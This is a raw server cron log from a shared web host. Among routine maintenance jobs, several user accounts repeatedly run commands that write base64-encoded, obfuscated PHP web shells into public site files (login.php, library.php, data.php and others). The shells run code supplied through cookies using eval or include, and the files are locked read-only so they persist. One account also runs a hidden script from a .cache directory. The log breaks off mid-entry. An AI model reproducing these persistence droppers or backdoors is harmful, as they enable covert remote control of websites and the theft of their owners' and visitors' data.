Mar  2 16:50:02 medusa CROND[2220]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:50:02 medusa CROND[2228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:51:01 medusa CROND[18100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:51:01 medusa CROND[18105]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:51:01 medusa CROND[18245]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:51:02 medusa CROND[18431]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:51:02 medusa CROND[18432]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:51:02 medusa CROND[18436]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:51:02 medusa CROND[18437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:51:02 medusa CROND[18438]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:51:02 medusa CROND[18440]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:51:02 medusa CROND[18442]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:51:02 medusa CROND[18454]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:51:02 medusa CROND[18456]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:51:02 medusa CROND[18475]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:51:02 medusa CROND[18482]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:51:02 medusa CROND[18494]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:52:02 medusa CROND[828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:52:02 medusa CROND[1337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:52:02 medusa CROND[1338]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:52:02 medusa CROND[1339]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:52:02 medusa CROND[1340]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:52:02 medusa CROND[1343]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:52:02 medusa CROND[1344]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:52:02 medusa CROND[1346]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:52:02 medusa CROND[1347]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:52:02 medusa CROND[1348]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:52:02 medusa CROND[1351]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:52:02 medusa CROND[1345]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:52:02 medusa CROND[1357]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:53:01 medusa CROND[17008]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:53:02 medusa CROND[17043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:53:02 medusa CROND[17230]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:53:02 medusa CROND[17232]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0Z